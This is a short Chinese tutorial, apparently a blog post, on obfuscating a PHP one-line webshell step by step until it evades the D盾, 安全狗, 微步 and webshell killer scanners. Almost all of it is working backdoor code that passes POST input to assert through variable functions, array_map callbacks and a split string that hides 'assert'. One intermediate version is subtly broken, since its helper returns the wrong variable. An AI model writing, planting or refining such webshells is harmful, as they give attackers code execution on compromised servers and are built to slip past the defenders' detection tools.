首先一句话木马:
<?php assert($_POST['a']); ?>
D盾扫描,5级
分开写:
<?php
$a = "assert";
$b = $_POST['a'];
$a($b); ?>
D盾扫描,4级
使用可变函数的技巧(PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途)
<?php
$a = "assert";
$fun = "a";
$$fun($_POST['a']);
?>
D盾扫描,3级
使用array_map()函数(为数组的每个元素应用回调函数)
<?php
$a = "assert";
$fun = "a";
array_map($$fun, array($_POST['a']));
?>
D盾扫描,2级
把assert处理一下
<?php
function f(){
$s = "aABKingsABKingsABKingeABKingrABKingt";
$arr = explode("ABKing", $s);
$result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5];
return $s;
}
$a = $_POST['a'];
$s = f();
array_map($s, array($a));
?>
D盾扫描,1级
既然显示数组字符串合并,那么我们再处理得复杂一些
<?php
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
D盾扫描,成功免杀
安全狗扫描,免杀
微步,免杀
webshell killer,免杀
参考资料:
如何优雅的隐藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug